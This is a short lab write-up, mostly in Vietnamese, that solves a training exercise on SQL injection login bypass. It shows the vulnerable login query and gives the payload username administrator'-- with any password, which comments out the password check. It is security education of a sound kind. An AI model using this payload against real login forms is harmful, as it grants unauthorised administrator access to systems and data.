Lab: Subvering application logic
SQL injection vulnerability allowing login bypass
Mô tả
Phòng thí nghiệm này chứa lỗ hổng SQL injection trong chức năng đăng nhập.
Yêu cầu: Thực hiện một cuộc tấn công tiêm SQLi để đăng nhập vào ứng dụng với tư cách là administrator
người dùng
Phân tích
Request thu được trên Burp Suite với thông tin đăng nhập không hợp lệ

Ứng dụng thực hiện truy vấn
SELECT * FROM users WHERE username = 'loilt' AND password = '123456'
Giải pháp
Gửi tên người dùng administrator'--
và mật khẩu bất kỳ

hoặc sử dụng Burp Proxy để sửa đổi request sẽ dẫn đến truy vấn sau:
SELECT * FROM users WHERE username = 'administrator'--' AND password = 'any'
Truy vấn này sẽ bỏ qua kiểm tra mật khẩu trong mệnh đề WHERE

Last updated